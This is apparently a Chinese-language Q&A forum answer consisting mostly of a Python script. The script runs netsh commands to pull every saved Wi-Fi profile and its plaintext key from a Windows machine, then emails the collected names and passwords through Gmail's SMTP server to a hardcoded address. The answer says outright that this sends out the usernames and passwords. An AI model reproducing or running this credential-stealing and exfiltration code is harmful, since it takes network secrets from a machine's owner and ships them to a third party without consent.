1 回答

TA贡献1862条经验 获得超6个赞
你有结果作为列表只是将它转换成字符串这将发送用户名和密码
import subprocess, smtplib
def send_mail(email,password,message):
server = smtplib.SMTP("smtp.gmail.com", 587)
server.starttls()
server.login(email,password)
server.sendmail(email, email, message)
server.quit()
a = subprocess.check_output(['netsh','wlan','show','profiles']).decode('utf-8').split('\n')
a = [i.split(":")[1][1:-1] for i in a if "All User Profile" in i]
to_send = []
for i in a:
results = subprocess.check_output(['netsh','wlan','show','profile',i,'key=clear']).decode('utf-8').split('\n')
results = [b.split(":")[1][1:-1] for b in results if "Key Content" in b]
# in order to send everything store it in another list and then join them with new line.
to_send.append(i+":"+"".join(results))
try:
print ("{:<30}| {:<}".format(i, results[0]))
except IndexError:
print ("{:<30}| {:<}".format(i,""))
# convert list to string
send_mail("example@gmail.com","Example123","\n".join(to_send))
添加回答
举报